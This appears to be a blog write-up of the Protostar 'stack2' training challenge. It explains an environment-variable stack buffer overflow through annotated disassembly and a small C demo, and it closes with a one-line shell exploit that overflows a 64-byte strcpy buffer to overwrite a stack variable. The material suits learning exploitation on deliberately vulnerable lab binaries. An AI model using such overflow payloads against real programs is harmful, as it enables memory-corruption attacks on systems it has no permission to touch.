Hacking environment variables (protostar - stack2)
Tags: protostar, security, beginners, challenge
Published: 2020-12-08 21:01:48

# Protostar - stack2

In **stack0** our user input came from standard input via the `gets` function.
In **stack1**, it came from the first program parameter. Here we'll discover how envrionnment variables
can also be a way to inject user data into a program.

Environments variables are inherited from the parent program.
Within the code, they can be fetched in many ways. Most common ways are the third `main` argument (`char **envp`) and the `getenv` function.
In either case, we are maniulating char pointers (aka strings).

## Static analysis

The vulnerability here is again lying in inexistent checks around `strcpy` destination buffer leading to overflows.
Let's annotate the `objdump` output:
```
08048494 <main>:
 8048494:       55                      push   ebp
 8048495:       89 e5                   mov    ebp,esp
 8048497:       83 e4 f0                and    esp,0xfffffff0
 804849a:       83 ec 60                sub    esp,0x60

 804849d:       c7 04 24 e0 85 04 08    mov    DWORD PTR [esp],0x80485e0        ; "GREENIE"
 80484a4:       e8 d3 fe ff ff          call   804837c <getenv@plt>             ; getenv("GREENIE");
 80484a9:       89 44 24 5c             mov    DWORD PTR [esp+0x5c],eax         ; save greenie_value
 80484ad:       83 7c 24 5c 00          cmp    DWORD PTR [esp+0x5c],0x0         ; check getenv() value against null
 80484b2:       75 14                   jne    80484c8 <main+0x34>              ; continue normal execution

 80484b4:       c7 44 24 04 e8 85 04    mov    DWORD PTR [esp+0x4],0x80485e8
 80484bb:       08
 80484bc:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 80484c3:       e8 f4 fe ff ff          call   80483bc <errx@plt>               ; errx(1, "please set the GREENIE environment variable");

 80484c8:       c7 44 24 58 00 00 00    mov    DWORD PTR [esp+0x58],0x0
 80484cf:       00
 80484d0:       8b 44 24 5c             mov    eax,DWORD PTR [esp+0x5c]
 80484d4:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80484d8:       8d 44 24 18             lea    eax,[esp+0x18]
 80484dc:       89 04 24                mov    DWORD PTR [esp],eax
 80484df:       e8 b8 fe ff ff          call   804839c <strcpy@plt>             ; strcpy(buffer, greenie_value);
 80484e4:       8b 44 24 58             mov    eax,DWORD PTR [esp+0x58]
 80484e8:       3d 0a 0d 0a 0d          cmp    eax,0xd0a0d0a                    ; greenie_value == 0xd0a0d0a
 80484ed:       75 0e                   jne    80484fd <main+0x69>

 80484ef:       c7 04 24 18 86 04 08    mov    DWORD PTR [esp],0x8048618
 80484f6:       e8 d1 fe ff ff          call   80483cc <puts@plt>               ; puts("you have correctly modified the variable");

 80484fb:       eb 15                   jmp    8048512 <main+0x7e>

 80484fd:       8b 54 24 58             mov    edx,DWORD PTR [esp+0x58]
 8048501:       b8 41 86 04 08          mov    eax,0x8048641
 8048506:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 804850a:       89 04 24                mov    DWORD PTR [esp],eax
 804850d:       e8 9a fe ff ff          call   80483ac <printf@plt>             ; printf("Try again, you got 0x%08x", greenie_value);

 8048512:       c9                      leave
 8048513:       c3                      ret
```

Our environment variable name is `GREENIE`. The local (stack) variable value must be `0xd0a0d0a`.

Let's try this using this small C program:
```
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  puts(getenv("NAME"));
  while(*envp) puts(*envp++);
}
```

Now I'm going to compile and test it with the `NAME` environment variable:

```
$ gcc env.c && NAME=value ./a.out
value
[...]
NAME=value
```

We can see the main difference between `getenv` and `envp`. `getenv` gives the value associated with
the variable name passed as parameter while `envp` contains raw data just like if you invoked `env` command.

## Exploitation

Our buffer for the `GREENIE` value is still 64 bytes long.

The value `0xd0a0d0a` is also in the ASCII table. Those are the non printable "new line" and "carriage return" characters.
We can represent them in the shell by the escaped sequences `\n` and `\r`. Thus our exploit is:

```
root@protostar:/opt/protostar/bin# GREENIE=$(python -c 'print "A" * 64 + "\n\r\n\r"') ./stack2
you have correctly modified the variable
```

Have fun!

## Links

- https://exploit-exercises.lains.space/protostar/stack2/
- FORTIFY_SOURCE: https://access.redhat.com/blogs/766093/posts/1976213
- https://owasp.org/www-community/attacks/Buffer_Overflow_via_Environment_Variables
- https://www.gnu.org/software/libc/manual/html_node/Environment-Variables.html
- https://linuxize.com/post/how-to-set-and-list-environment-variables-in-linux/